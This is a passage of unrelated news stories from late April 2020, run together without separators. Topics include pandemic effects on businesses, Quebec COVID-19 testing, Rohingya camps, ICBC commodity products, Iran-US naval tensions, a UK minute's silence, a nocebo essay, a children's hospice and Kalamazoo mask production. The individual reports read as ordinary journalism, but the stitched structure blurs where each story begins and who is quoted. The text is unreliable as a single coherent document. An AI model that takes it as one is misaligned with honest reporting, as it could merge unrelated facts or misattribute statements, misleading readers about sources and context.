as quarantined Americans go to the Internet to shop for goodies online. The hot sellers, Ellis said, are snack foods like nuts, and pies. He added, and weve sold a lot of cornbread muffins lately. Said Ellis, (Online sales) have doubled compared to what it is normally is at this time of the year. We appreciate the customer support. But other aspects of the business are down, such as sales to restaurants and other retail businesses that have remained closed during the pandemic. Grocery store business, Ellis said, has seen a slight uptick. The retail store does a big spring break and summer travel business (as people drive) to the beaches, said Ellis. My hope is the beaches safely reopen and there will be a slow curve upward and people will regain confidence. Governor Whitmer Statement on Senator Debbie Stabenow's Excellence in Mental Health and Addiction Treatment Act Governor Whitmer Statement on Senator Debbie Stabenow's Excellence in Mental Health and Addiction Treatment Act FOR IMMEDIATE RELEASE April 28, 2020 Media Contact: Press@Michigan.gov Governor Whitmer Statement on Senator Debbie Stabenows Excellence in Mental Health and Addiction Treatment Act Sen. Stabenow has secured $54,452,014 in new funding for Michigans behavioral health clinics LANSING, Mich. -- Today, Governor Gretchen Whitmer released the following statement after Senator Debbie Stabenow announced that 18 Michigan community mental health organizations have been selected as Certified Community Behavioral Health Clinics. Michigan will receive $54,452,014 in new funding for the clinics. Senator Stabenows announcement is a result of the passage of the Excellence in Mental Health and Addiction Treatment Act by Senator Stabenow and Senator Roy Blunt (R-MO). Michiganders have faced an unprecedented crisis over the past month, and in these uncertain times having access to mental health resources is crucial, said Gov. Whitmer. The work Senator Stabenow has done will ensure more Michiganders can access the behavioral health services they need while navigating this crisis. Im eager to continue working with Senator Stabenow and everyone else who wants to help make sure Michiganders have access to these resources year round. Senator Stabenow is a longtime advocate for Michiganders who need access to behavioral health services. To date, she has secured over $88 million in funding for Michigan community mental health centers. ### The logo of Industrial and Commercial Bank of China (ICBC) is pictured at the entrance to its branch in Beijing SHANGHAI/BEIJING (Reuters) - Industrial and Commercial Bank of China (ICBC) has suspended access for new investors to retail products linked to commodity futures due to extreme market volatility, including U.S. oil futures crashing below zero. Investors already holding ICBC's <601398.SS> <1398.HK> commodity-linked retail products will not be able to add to their positions from Tuesday, but existing positions can be traded as normal, the bank said on its website on Monday Oil prices have plunged this year due to economic damage caused by the coronavirus, a price war triggered by Saudi Arabia and Russia, and a shortage of storage for excess oil, causing steep falls in many linked products. ICBC also warned retail investors they could lose all their investments and cash deposits in the commodity linked products. "The debate in China is about whether those products were suitable for the retail market," a commodity source in China said. "Commodities are a very risky investment, as oil proved last week." China's regulator has told commercial banks to halt sales of a range of wealth management products that might result in unlimited investor losses, two sources told Reuters. Prices of other commodities included in ICBC's retail investor products, such as natural gas, soybeans and copper, have also been volatile. ICBC's website says these products are linked to global futures contracts. The crude oil product is linked to WTI traded on the CME and Brent traded on ICE, while the natural gas product are linked to the New York Mercantile Exchange's (NYMEX) futures contract . ICBC's copper product is linked to the futures contract on COMEX and soybean product to the contract traded on the Chicago Board of Trade (CBOT). INVESTOR LOSSES ICBC's statement follows Bank of China (BoC) which last week said it would settle its crude oil futures product at a historic negative value of -$37.63 per barrel. Story continues Retail investors may have lost more than 9 billion yuan ($1.27 billion) from BoC's <601988.SS> <3988.HK> crude oil product, financial news outlet Caixin reported. Chinese investors who traded BoC crude oil products say it should have done more to protect their interests. BoC said last week it was deeply disturbed by investor losses and would work to protect their interests. China Construction Bank Corp (CCB) <601939.SS> <0939.HK> and China's Bank of Communications Co Ltd (BoCom) <601328.SS> <3328.HK> also closed their crude oil trading products to new investment last week. Shanghai Pudong Development Bank <600000.SS> said on Monday that its copper and soybean products for retail investors would also be closed to new investment from April 28. Oil-focused exchange-traded products (ETPs), including the biggest U.S. oil ETP the United States Oil Fund LP , also face potential steep losses due to the WTI price drop. (Reporting by Emily Chow in Shanghai, Cheng Leng and Se Yong Lee in Beijing; Writing by Pratima Desai; Editing by Louise Heavens, Susan Fenton and Alexander Smith) Tehran, April 28 : The Iranian Armed Forces said that the vessels of the US and its allies should respect international regulations while passing through Tehran's southern waters in the Sea of Oman and the Gulf. The Iranian Armed Forces said in a statement on monday that those vessels should avoid creating any tension or conflict in the region, reports Xinhua news agency. Any "illegal and provocative move" will face crushing response of the Iranian Armed Forces, it said. Last week, Iran's Islamic Revolution Guards Corps (IRGC) called for full withdrawal of all American forces from the West Asia after naval disputes erupted between both sides in the Gulf. On April 22, US President Donald Trump had said on Wednesday that he has ordered the US Navy to shoot down and destroy Iranian gunboats if they harass their ships at the southern waters of Iran. Before Trump's statement, the US Navy had earlier said in a statement that 11 military vessels of IRGC conducted "dangerous and provocative actions" near US Navy and Coast Guard ships in international waters in the Gulf on April 15. Hossein Salami, chief commander of the IRGC, dismissed Trump's claims, saying that the US' "unprofessional and hazardous" behaviour caused the IRGC Navy vessels' confrontation with the American vessels. Rohingya refugees move around a vegetable market inside the Kutupalong refugee camp in Coxs Bazar, Bangladesh without any protective measures against the coronavirus, April 26, 2020. Updated at 6:04 p.m. ET on 2020-04-29 Some Rohingya refugee camps in southeastern Bangladesh are facing serious food and water shortages, Human Rights Watch warned Tuesday, following a coronavirus lockdown that has restricted services and facilities in the camps. Bangladesh authorities however rejected the claim made in a HRW statement, which said that lockdown measures had cut humanitarian workers across refugee camps by 80 percent, putting refugees at severe risk of disease outbreak too. The Bangladesh governments new Covid-19 restrictions on access to aid put Rohingya refugees at greater risk, the New York-based global human rights watchdog said. Close to 1 million Rohingya Muslims from Myanmar are sheltering at sprawling camps in Coxs Bazar, a Bangladeshi district that borders Myanmars Rakhine state, home of the stateless Rohingya. Bangladesh authorities need to protect against the spread of COVID-19 in the Rohingya refugee camps, but every effort should be made to limit the harm from lockdown measures, said Brad Adams, HRWs Asia director. Any COVID-19-related restrictions shouldnt significantly hinder aid groups ability to provide food, water, health care, and protection, he said. On Tuesday, Bangladeshs tally of coronavirus infections surged to 6,462 after health authorities reported 549 new cases. Three new coronavirus fatalities were also recorded, taking the nations death toll to 155. However, no COVID-19 cases have been detected yet in the refugee camps in Coxs Bazar, where 21 testing centers are located, according to officials. In a move to contain the coronavirus pandemic, officials imposed a lockdown in early April in Coxs Bazar. Officials said they had also sealed off the refugee camps in Ukhia and Teknaf sub-districts a day after authorities announced the lockdown, which restricts movements. According to Human Rights Watch, some refugee camps already are facing serious food and water shortages. Seventeen refugees from four settlements told HRW that food rations hadnt been replenished and were dwindling, and that some areas had no drinking water, according to Human Rights Watch. Aid workers said the restrictions have led to disruptions in water and sanitation, HRW added. One aid official reported receiving complaints about overflowing latrines in some areas because there are not enough staff members to address these issues, the statement said. Mahbub Alam Talukder, Bangladeshs refugee relief and repatriation commissioner, rejected the charges. The lockdown has not disrupted the emergency services at the camps. The food distribution has been going on as usual. The allegation that food and water crises have been going on at camps are unfounded, he told BenarNews. The medical treatment, sanitation, cleanliness and other urgent services have been going on as usual, while maintaining social distancing, he added. He said Bangladeshi authorities had kept vans carrying water containers on standby at the camps as they had anticipated a dry spell. The Rohingya families can even spare a portion from the quantity we provide them, he said. Sirajul Mostofa, a community leader and president of Rohingya Refugee Committee, told BenarNews that the number of aid workers at the camps had fallen sharply as a result of the movement restrictions. Everything, other than the emergency services, has come to a halt. The number of aid workers has come down drastically. Still, we are getting food. But if the lockdown continues in this way, we will face food and water crises, Mostafa told BenarNews. Saikat Biswas, spokesman for the Inter-Sector Coordination Group, which coordinates the work of relief agencies and NGOs in the area, said that all agencies involved in helping the refugees were following a coronavirus response plan. According to the response plan, the emergency services at the camps have been continuing, he told BenarNews. About 740,000 Rohingya fled to camps in and around southeastern Coxs Bazar district from Rakhine state after the Myanmar military launched a brutal offensive in August 2017 in response to deadly attacks by a rebel group on government security posts. They joined hundreds of thousands of other Rohingya who had previously crossed into Bangladesh after fleeing cycles of violence in Myanmar. Source: Xinhua| 2020-04-28 17:47:14|Editor: huaxia Video Player Close KAMPALA, April 28 (Xinhua) -- Uganda's Ministry of Health on Tuesday flagged off investigation teams to conduct a rapid assessment survey of the prevalence of the COVID-19 pandemic in communities. Health Minister Ruth Aceng launched the mission in the capital Kampala. According to the ministry, the survey results will be released on May 4, with subsequent decisions to contain the spread of the novel coronavirus. The survey will target populations including market vendors, truck drivers and communities along their routes, border crossing points and local communities, health workers, and the security forces among others. During the survey, the investigation teams will take a blood sample, nose and throat swab from individuals and test for the novel coronavirus. "We appeal to the communities to cooperate with the teams and provide information. It's for our own good," Aceng said. Uganda's official data showed a total tally of 79 confirmed cases, of them 47 recovered. The East African country has instituted a series of measures to contain the virus' spread. Among the measures has been a lockdown to limit public interaction, banning all public gatherings and closing schools. The health authorities currently deem cross-border cargo checkpoints as a new battlefront in fighting COVID-19 since an increase in cases involving foreign drivers. Enditem As Quebec rolls out a plan to reopen elementary schools and some sectors of the economy, the provincial government says it will be able ramp up COVID-19 testing from roughly 5,000 to 20,000 tests a day. The provincial Health Ministry says it has reached a rate of between 6,000 and 7,000 tests a day. However, according to figures from the INSPQ, Quebec's public health research institute, more people were tested last week than in any week since the pandemic began. On average, that amounted to 4,575 tests each day. Still, a spokesperson for the Health Ministry and Dr. Horacio Arruda, Quebec's public health director, both said the province already has the capacity to ramp up rapidly to 15,000 daily tests almost immediately. "We are one of the places that is testing the most in the world," said Premier Francois Legault Monday. "We're testing three times more than Ontario." Quebec has done a total of just under 200,000 tests, which works out to 23 tests per 1,000 people, according to the latest data from the INSPQ. The way each country quantifies testing varies, but according to a University of Oxford-based data project, the Canadian average is just under 19 tests per 1,000 people, while Germany and Italy are pegged at 25 and 29 tests per 1,000 people, respectively. 'We don't want to go back to square one' Quebec will need much more data than it has right now to avoid a spike in infections that could overwhelm the health-care system, according to Dr. Nima Machouf, an epidemiologist and instructor in the school of public health at Universite de Montreal. "I don't know what the threshold is that we need to hit, to be confident that we are finding all of the positive cases," said Machouf. "But 3,000, 4,000, 5,000 tests a day are not at all enough." She said 15,000 tests a day would be "excellent," by comparison. "The danger is to have another wave of the epidemic," she said. "We stayed home for five weeks, and it was a very tough situation for a lot of people, so we don't want to go back to square one." Story continues Machouf said testing efforts should be concentrated in the greater Montreal area, the epicentre of the pandemic in Quebec. She also said mobile testing sites in schools and workplaces could be a good strategy to give the public better access to testing and to more easily track outbreaks when and where they occur. Things could 'catch fire again' Legault has suggested Quebec will change its testing strategy in the coming weeks, moving toward more "random sampling" of the population rather than focusing primarily on residents of long-term care homes and medical personnel. Arruda said some of that random testing could be done at schools, grocery stores or other places where people gather. "We will have a strategy that will be a balance between the quantity of tests we have available and the representativity of the data," he said. Christopher Furlong/Getty Images But some experts are not convinced that Quebec will be able to ramp up testing so quickly. "If we remove confinement, and we're not able to test widely, things will catch fire again, and there will be more infections," said Dr. Cecile Tremblay, an infectious disease specialist at the Centre hospitalier de l'Universite de Montreal. "We have to test more widely, but right now, we don't have what we need to do it." Quebec, like many jurisdictions, has faced shortages of the chemical reagents needed for testing, while thousands of testing swabs arrived in Quebec potentially contaminated. As recently as Friday, the Health Ministry said the availability of swabs was "a major challenge," but Monday, Legault said the province had 109,000 swabs in inventory. "It's clear we had problems with the availability of reagents and swabs, but that problem has been solved," assured Arruda. 'Time is very crucial' In addition to testing more people, getting results fast to be able to react quickly is essential for deconfinement to work, Machouf said. The Quebec government has ordered 100 rapid testing devices and 200,000 test kits from Spartan, an Ontario company. According to the company, the Health Canada-approved tests can give a result in approximately 30 minutes. That could drastically cut down on the number of contacts that need to be traced if someone tests positive for COVID-19 following deconfinement, Machouf said. "Time is very crucial in the control of an epidemic where the capacity of the virus to spread is very high," she said. "The capacity of each infected person to spread the virus to other people is much higher than what we thought at the beginning." Research from the Center for Disease Control looking at data from Wuhan, China, suggests that rather than infecting two to three people, each infected person has the capacity to spread the virus to five or six people. The rapid tests from Spartan are what will allow Quebec to increase its capacity to 20,000 or even 30,000 tests a day, Arruda said Monday. However, those tests are not yet available in Quebec. The company could not give a firm delivery date when contacted by Radio-Canada. The Quebec Health Ministry said it was expecting the tests by the end of May by which time elementary students are to already be back at school. Over the longer term, Machouf said, even if Quebec succeeds in deconfining safely, the province will have to keep a watchful eye on how the virus is progressing elsewhere in the world. Machouf said testing all travellers arriving at airports and borders could become a necessary reality, once travel restrictions are lifted. "Quebec is one thing, but the whole world is another. South of us, there will soon be one million people who are infected," she said. "We will soon be at three million cases around the world." "We have to make sure this deconfinement lasts." The opposition Democratic Party for the People plans to propose that the start of the new school year be delayed to September, rather than April, this year amid school closures due to the coronavirus pandemic. A DPP working team held its first meeting Monday, during which many members were in favor of September school enrollment to address education disparities due to school closures. The party will make the proposal to the government as early as this week after discussions with some other opposition parties, sources familiar with the matter said. The proposal is expected to include an option to delay school enrollment ceremonies to September next year to prepare for the possibility that the virus will not be contained by September this year, the sources said. Issues that need to be considered include how to balance September school enrollment with fiscal 2020, which began April 1, and national examination schedules. Last week, Motorola unveiled its first flagship smartphone since 2016. The Motorola Edge Plus arrived with all the specifications of a premium smartphone but had not got a launch date in India. The all-new Motorola edge+ is reinvigorating the flagship space with a Bold endless edge screen innovation,Fastest 5G performances with Snapdragon 865 and a monster 108 mpx camera .Here is a sneak peek into what went behind creating the #AbsoluteEverything. Coming soon to India! pic.twitter.com/xhH8wjMREu April 25, 2020 The Moto Edge+ is fitted with a flagship chipset, impressive camera setup, premium design, great software, and massive battery, everything you would expect in a flagship. Motorolas Country Head, Prashant Mani recently confirmed that the Edge Plus would be coming to India, through a tweet. The Motorola Edge Plus is priced at $999 (approximately Rs 76,000) in the US, while the global variant will cost 1,199 euros (approximately Rs 98,715). While there is no word on the pricing here, we expect the phone to arrive in the ultra-premium smartphone market alongside the Samsung Galaxy S20 Ultra and Apple iPhone 11 Pro. Motorola also unveiled a standard Edge smartphone alongside its flagship smartphone. The Motorola Edge is a premium mid-range 5G phone with the same design but a toned-downed chipset, battery and camera. However, there is no confirmation on whether the phone will arrive alongside the flagship Moto Edge Plus. The United Kingdom came together on Tuesday for a minute's silence in the honour of hundreds of healthcare and other workers who have lost their lives on the frontline of the coronavirus fightback across the country. IMAGE: Britain's Prime Minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak stand to observe a minute of silence in a tribute to the NHS staff and key workers who died during the coronavirus disease (COVID-19) outbreak, at 10 Downing Street, London, on Tuesday. Photograph: Stefan Rousseau/pool via Reuters Prime Minister Boris Johnson, who just recovered from a severe coronavirus attack, led the tributes with UK Chancellor Rishi Sunak at 10 Downing Street for the National Health Service (NHS) and other key workers across care homes and public transport at 11 am local time. Keir Starmer, the leader of the main opposition Labour Party, also paid his respects. So far 82 NHS staff are known to have died after testing positive for the coronavirus, including many with their roots in India. IMAGE: Scotland's First Minister Nicola Sturgeon observes a minute of silence outside St Andrew's House in Edinburgh. Photograph: Jane Barlow/pool via Reuters The Indian-origin Chief People Officer at the NHS, Prerana Issar, said that the NHS England is considering how to formally commemorate all those who have died while working to care for others once the state-funded health service is through the peak of the virus. "The NHS family will come together to pay tribute to all those across the health and care sector who have lost their lives to coronavirus," said Issar. IMAGE: NHS staff observes a minute's silence at NHS Louisa Jordan Hospital in Glasgow. Photograph: Russell Cheyne/Reuters "Everyone of them, whatever job they were doing, were making a difference and helping others. That's why we will be joining this nationwide moment to remember those we have lost, and honouring all that they did for us," she said. The tribute comes as the government announced a new time-bound insurance scheme for the families of such public sector healthcare workers who lost their lives while on duty during the pandemic, with a 60,000 pounds Life Assurance Scheme. IMAGE: NHS staff observes silence at Mater Infirmorum Hospital, in Belfast, Northern Ireland. Photograph: Jason Cairnduff/Reuters "Financial worries should be the last thing on the minds of their families so in recognition of these unprecedented circumstances we are expanding financial protection to the NHS and social care workers delivering publicly funded care on the frontline," said UK Health Secretary Matt Hancock. "Nothing can make up for the tragic loss of a loved one during this pandemic. We owe a huge debt to those who die in service to our nation and are doing everything we can to protect them. IMAGE: People observe a minute's silence at Mater Infirmorum Hospital, in Belfast, Northern Ireland. Photograph: Jason Cairnduff/ Reuters "We will continue to strive night and day to provide them with the support and protection they need and deserve to keep them safe as they work tirelessly to save lives," he said. He said that bereaved family members will receive a 60,000 pounds lump sum, worth roughly twice the average pensionable pay for the NHS staff, with the cost met by the government. IMAGE: People applaud after a minute's silence at Mater Infirmorum Hospital, Belfast, Northern Ireland. Photograph: Jason Cairnduff/Reuters This will cover full, part-time or locum NHS and public health workers, including general practitioners (GPs), dentists, retired staff and second and final year students taking up paid frontline roles. While the details of the scheme are yet to be finalised, it is expected that overseas doctors from countries such as India should also be eligible for this compensation covering their families who may be based in the countries of their origin. IMAGE: Police officers observe a minute's silence at Guy's Hospital in London. Photograph: John Sibley/Reuters The scheme is aimed at those who die from coronavirus during the course of their essential and lifesaving work. This includes those providing direct care as well as cleaners and porters who continue to carry out vital duties in these care environments. The British Medical Association (BMA), the doctors' union lobbying for such a 'death in service' protection, welcomed the new scheme but called for more details to ensure it goes far enough. IMAGE: Construction workers observe a minute's silence at Chelsea and Westminster Hospital in London. Photograph: Kevin Coombs/Reuters "Whilst this single payment may seem a sizeable sum, it comes nowhere near compensating families for the lifetime income their loved one may have earned if they hadn't died prematurely, fighting this crisis on the frontline. This is particularly true for young or recently qualified staff," said Dr Vishal Sharma, BMA Pensions Committee Chair. "Increasing numbers of families are dealing with the loss of a loved one as the death toll for frontline workers rises, they should not also face a future without financial security. The BMA will be examining closely the detail of the government's Life Assurance Scheme," he added. The coronavirus cases in the UK has reached 158,348 while 21,092 people have died, according to Johns Hopkins University tracker. Terrifying health stories about Covid-19 pour out of the media floodgates every minute. These might be causing nocebo effects where we become more ill because we expect to, as opposed to the better-known placebo effect where we become less ill due to our expectations. This could be happening on a large scale just now. Although data about nocebo effects in the pandemic is not yet available, we suspect they are prevalent, based on evidence from similar cases. Consider the following: 1. In 2010, anti-windfarm campaigners in Australia spread news about wind turbine syndrome caused by sub-audible infrasound generated by turbines. At the same time, health authorities noticed a growing number of complaints heart palpitations, headaches, nausea that corresponded closely with those of the wind turbine syndrome. Yet researchers quickly found that complaints were concentrated in regions with a history of anti-windfarm campaigning. Experimental subjects that were randomly allocated to watch alarming news about the harms of windfarms reported an increase of symptoms, even in the presence of sham infrasound. Researchers concluded that wind turbine syndrome was caused by misinformation rather than wind turbines. 2. In 2018, a study found that people living in countries with more Google search results about statin adverse events were more likely to report statin intolerance. Authors of the study concluded that exposure to online information contributed to these adverse effects. 3. In a large study examining the death of 28,169 Chinese-American adults in California, researchers found that people who were understood by Chinese astrology to be particularly susceptible to certain conditions by virtue of the year of their birth died significantly earlier (1.3-4.9 years) than people with the same conditions born in other years. Researchers concluded that psycho-cultural factors (belief in Chinese astrology) affected mortality. Recommended How to tell the difference between hay fever and coronavirus symptoms A positive test for Covid-19, combined with some initial symptoms and alarming mass media health news, could aggravate coughs, fever, pains and breathlessness. The shock caused by negative information might even precipitate death in severely ill patients by aggravating heart disorders or affecting the respiratory system already attacked by the virus. Among those without the disease, fear following the experience of a mild symptom (perhaps of a common cold) could exacerbate the symptoms and even prompt them to visit the hospital, where they could actually catch the virus or another disease. The social isolation imposed in many countries could exacerbate these effects. We are understanding more and more about how nocebo effects work. Emotionally charged negative information from an authoritative source can make someone expect a negative symptom such as pain or breathlessness. Then, like a self-fulfilling prophecy, the expectation itself can cause the symptom. These expectations are associated with the production of neurotransmitters that induce an increased sensitivity to pain and a wide variety of other symptoms. Fear and anxiety heighten this process. Could psycho-cultural factors offer an additional explanation for the lower mortality rates in Germany? In more extreme cases of psychogenic death or voodoo death fear activates the fight-or-flight response. This results in, among other things, accelerated heart rate and raised blood pressure. In some cases, it can lead to arrhythmia (irregular heartbeats) and even vascular collapse, where insufficient blood is supplied to vessels and they literally collapse. Nocebo effects are more pronounced in people with a well-defined disease, such as a viral infection, where existing symptoms and the awareness of being at risk leads to symptoms becoming amplified. We hypothesise that there are likely to be cultural variations in nocebo effects in the Covid-19 pandemic. The way the press and media communicate, and the way news travels among people, differ across countries. Also, the way people perceive and react to health-related information is culturally specific, as are coping strategies and attitudes towards fear and death. For instance, preliminary research on Covid-19 risk perception found that old German men are less afraid of the virus than younger men, and have been described as behaving calmly and appropriately in the current circumstances. A man wears a face mask in Minnesota, USA (AFP) The cultural specificity of nocebo effects might partly explain the striking difference in mortality rates that have been recorded across countries and ethnic groups. These have been shown to vary from 2.7 per cent in Germany to 13.2 per cent in Italy, as well as 5.1 per cent in the US and 13.4 per cent in the UK, with further differences among ethnic groups within the same country. When all conventional explanations for differences in mortality rates are taken into account, could psycho-cultural factors offer an additional explanation for the lower mortality rates in Germany, when compared with countries such as Italy? Future studies combining epidemiological and sociological data across countries will be able to investigate the diversity and clinically significant of nocebo effects in the pandemic. A trial comparing aspirin with sulfinpyrazone for treating heart disease found that the patients who were told about side-effects were six times more likely to drop out of the trial because of side-effects. Dozens of other studies show that negative side-effects are lower when patients are not told about them. We dont propose that the alarming things about Covid-19 be hidden, but rather that the likely nocebo effects caused by news stories be mitigated. At a policy level, this could take the form of government messaging, and structures of emotional support aimed at reshaping risk perception in patients. At an individual level, limiting the consumption of negative media is likely to reduce nocebo effects. Jeremy Howick is the director of the Oxford Empathy Programme at University of Oxford. Giulio Ongaro is a postdoctoral research fellow in Anthropology at the London School of Economics and Political Science. This article first appeared on The Conversation The next business to take over Sydney Cove Oyster Bar's prime Circular Quay position "would have a very hard act to follow", says former prime minister Tony Abbott, one of the renowned restaurant's most notable customers. Members of Sydney's culinary scene are wondering who will take over the well-known brown-brick venue on the tourist promenade following the restaurant losing the tender for the site after more than three decades. The Sydney Cove Oyster Bar has lots its tender for its iconic site. Credit:Kate Geraghty The former Liberal leader, who frequented the restaurant, was among those to praise its success in the 32 years it has occupied a converted toilet block, describing it as a "bit of a Sydney landmark". "Anyone who takes it over would have a very hard act to follow," Mr Abbott said. When Molly Jones was born, her parents received the devastating news that her chances of survival were extremely slim. Despite having a rare condition called Ring Chromosome 18 syndrome, together with global developmental delay and a serious heart condition, Molly, 9, has proved everyone wrong. Her parents, Barry and Mairead, from Shankill, Dublin, are among 220 families currently relying on Irelands only hospice LauraLynn to provide crisis care for their their daughter. They also have two younger daughters. Cara, 6, and Elsie, 5. LauraLynn, a purpose-built eight-bed hospice in Leopardstown, Dublin, has suspended all planned routine respite nights and short family stays because of the Covid-19 restrictions. However, it continues to provide end-of-life care and crisis care stays for children whose primary carer has been impacted by the virus. Children such as Molly are at risk of the more severe effects of Covid-19, and her parents worry what will happen to her if they contract the virus. Molly, who only weighs 16kg, is very small for her age. She has feeding difficulties, is non-verbal, and her sight and hearing are impaired. Mairead and I are still at work, caring for adults with intellectual disabilities, said Barry. If we did contract Covid-19 it is a great comfort to know that Laura-Lynn would be there to help us. It costs more than 5m a year to keep LauraLynn open, 4.6m of which must come from fundraising income, which is expected to fall by over 50% this year as a result of the pandemic. As well as end-of-life care, LauraLynn provides a range of services including symptom management for children, music and play therapy, psychological support, family and sibling camps, and short breaks. Barry is one of hundreds of parents who took on the challenge of completing 3,000 press-ups over 30 days this month to raise funds for LauraLynn. He has already raised more than 2,000 from friends and family but is now reluctant to ask people to sponsor him because he knows that many people are out of work. He and Mairead work different shifts in their roles as social care workers at Sunbeam House in order to care for their children. Barry said: We are both happy that we are still able to work and earn money but we have to be as careful as we can be to protect Molly because we would be extremely worried if she became infected with Covid-19. Mollys sleep patterns can change and her parents are grateful that they can rely on LauraLynn to mind her for a few nights when they become extremely exhausted. She is a generally happy child, said Barry. She also has a wicked sense of humour and is very determined but that sometimes gets lost when you talk about the medical stuff and the difficulties. Ann Booth, clinical nurse specialist at LauraLynn, said LauraLynn is providing virtual supports to their families and also has a 24/7 nurse helpline in operation. It is vitally important that we continue to be there for our children and families during this challenging time, said Ms Booth. Since opening in 2011, LauraLynn has cared for more than 450 children and their families. The charity also provides bereavement supports to families after they have lost a child. Kalamazoo Valley Community College has partnered with Vicksburg-based Eimo Technologies to produce face masks and shields for use by area medical professionals. Since the start of the COVID-19 pandemic, the need for personal protective equipment (PPE) has grown more urgent every day. As a result, Kalamazoo Valley faculty members Dave Brock and Bill Kring began exploring ways to create masks and face shields using the colleges CNC machines and 3D printers. Brock and Kring worked diligently in the Engineering Design and Manufacturing Technology (EDMT) lab to design, manufacture, and assemble face masks and shields based on a design they received from a major 3D manufacturer, Stratasys. Both men are EDMT faculty members and serve as co-chairs of the EDMT department. The duo successfully created a prototype of a mask with a commonly available filter material that has tested similar to the level of a N95 mask. Corresponding filter elements can be replaced, and the shell sanitized for re-use. They are now able to produce 250 masks and 400 shields per day with a group of four volunteers helping with assembly. The materials and processes we used are what we have on hand and can be sourced locally, Brock said. Several companies have stepped up and donated tools, shared knowledge, etc., specifically Burchett Tool, Axsys CAD/CAM Solutions, Stratasys, and Bronson Hospital. Local business Eimo Technologies is ramping up to produce three face shield frames per minute and six face mask per minute. Jim Williams and Gary Hallam of Eimo have agreed to take on this production at their facility located in Vicksburg. Two of Eimos three Vicksburg plants are working to produce PPE equipment for local distribution. In addition, the parent company Nissah in Kyoto, Japan, and many of its global subsidiaries are working on similar projects. The partnership with Eimo made perfect sense. Eimo Tooling and Technology Centre manager Jim Williams is also an instructor at Kalamazoo Valley. When our parent company asked Eimo to see if there was some way we could help as part of corporate social responsibility, Jim was already aware of the project at Kalamazoo Valley and the components being 3D printed, explained Gary Hallam, Eimo general manager. Jim's idea was that Eimo could build injection molds and thermo-forming tools that could increase the output by up to 100 times. I thought this was a perfect project to support since the products were already developed and we could move quickly to use Eimo tooling and injection molding talent to make an impact within a week. In addition to Williams connection to both Eimo and the college, a total of 14 Kalamazoo Valley graduates are currently employed at Eimo. The college has worked with the Kalamazoo County Health Department to prioritize the local distribution of these items. Michael Collins, Executive Vice President for Enrollment and Campus Operations, is working out the logistics of getting the finished goods to local medical agencies and first responders who are dealing firsthand with the pandemic. Most recently, a donation of face masks and shields was delivered to Senior Care Partners in Portage. Bill and I started talking about this on the first day the college stopped holding in-person classes, Brock said. We thought we could do this - working together we could make it happen. Brocks wife is a nurse who often cares for patients with respiratory problems so his awareness of the severity of the nationwide PPE shortage was heightened early on. This is pretty personal for me, he said. Kring was eager to get involved in something positive. This situation can be overwhelming and when you look at our community as a whole it starts to eat you up, Kring said. It helps when you know you can do a little bit to help. Were doing this not for recognition, but because we want to make a difference. Brock and Kring said, To us, the two most important words on the sign out front are community and Kalamazoo. Kring and Brock spent about 50 hours over a weekend in the lab perfecting a mask. Its awesome what weve been able to do in a small amount of time with resources from all over the college, Kring said. He noted that support has come from local companies, from college administration and staff from multiple departments. The Groves campus and instructor Ian Salo have helped by bringing their equipment online to assist with production. We arent just throwing stuff together. We are using techniques and Fit Test equipment to show it works, Brock said, noting that hes seen numerous YouTube videos by do-it-yourselfers who are making their own PPE. While those efforts are impressive, the homegrown PPEs may not protect wearers adequately. The mask crafted by Brock and Kring has gone through testing by local health care officials and has proven to be a more effective alternative to cotton or surgical masks. We were absolutely ecstatic with the test results, Brock said. Its heartwarming to witness Bill and Dave's devotion to supporting the needs of our health care community, said Tracy Labadie, Ed.D., Dean of Instruction - Business, Industrial Trades and Public Service, Not only are they both continuing to teach their full course load, in a virtual environment, but they are volunteering their expertise, personal time, and resources to produce as many of these face masks and face shields as they can feasibly manage. Their efforts are impressive and an inspiration to the rest of us. Provost and Vice President for Instruction and Student Service, Peter J. Linden, agreed. Our instructors are working tirelessly to step up, serving our community at a heightened level during this time of crisis and offer an innovative yet practical solution to assist health care professionals provide needed care, he said. As efforts to mitigate the impact of COVID-19 (Coronavirus) continue, online and remote learning for all Winter Semester 2020 instruction will continue through the end of the semester. Kalamazoo Valley will begin Summer Semester 2020 on Monday, May 11. Virtual, tele-learning, online and alternate methods of instruction will be provided. Face-to-face instruction may be added as the semester progresses. For more information about the Colleges response to COVID-19, go to http://www.kvcc.edu/coronavirus. For More Information Linda Depta Executive Director of the KVCC Foundation and Director of College Development and Marketing 269.488.4821 or ldepta@kvcc.edu Airbus Broughton factory produces wing-structures for single- and twin-aisles assembled in Toulouse, where furloughs are also taking place, and Bremen. The collapse of air travel since the COVID-19 outbreak has badly impacted Airbuss backlog and delivery capabilities during the first quarter, creating an unsustainable waiting list for current orders and a shrinking order book. The company registered 29 A320/21 and 17 A350 cancellations so far in 2020, mostly linked to the pandemic. It is not always easy to separate the direct effects of COVID-19 from more general struggles of the commercial aviation industry. The industry was suffering from slowing demand from Asia and the Middle East even before the pandemic. With no order registered in February and a net order of 16 units in March (60 new orders and 44 cancellations), Airbus is clearly underperforming. Certain cancellations have been linked to COVID-19, such as the cases of Lufthansa and Kuwait Airways - both companies respectively cancelled orders of two and five A350s to slim their fleet and brace for long-term impact of COVID-19 on air travel. In this context, it unfortunately makes sense to slowdown Broughtons activity in order to avoid stockpiling airframes for which Airbus has no clients. South Korea has repeated calls for joint efforts with North Korea to stem the spread of the coronavirus, which it sees as a potential opportunity to improve strained bilateral relations. A South Korean presidential official, who refused to be named during a background briefing on Tuesday, said Seoul doesn't expect the possible anti-virus efforts to clash with international sanctions against North Korea over its nuclear program. South Korean President Moon Jae-in, who held three rounds of peace talks with North Korean leader Kim Jong Un in 2018, earlier said joint anti-virus efforts could provide a new opportunity for inter-Korean engagement. But the North has been ignoring the South's calls after it virtually shut down all cooperation with its rival in past months amid faltering nuclear talks with the Trump administration. The North in late January closed an inter-Korean liaison office in the border town of Kaesong over virus concerns. The North has said there hasn't been a single virus case on its territory, but the claim is questioned by many outside experts. Edwin Salvador, the World Health Organization's representative to North Korea, said in an email to AP last week that the country reported that it tested 740 people for COVID-19 as of April 17 but that all came out negative. He said the North also said it so far released more than 25,000 people from quarantine since Dec. 31. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) London, April 28 : The UK will hold a minutes silence on Tuesday in tribute to frontline workers who have died in the fight against the coronavirus pandemic. At least 90 National Health Service (NHS) and social care workers have lost their lives after testing positive for COVID-19, reports the Metro newspaper. The silence, organised by Unison, the Royal College of Midwives and the Royal of College of Nursing, will take place at 11 a.m. A spokesperson for Downing Street said: "We will be supporting the 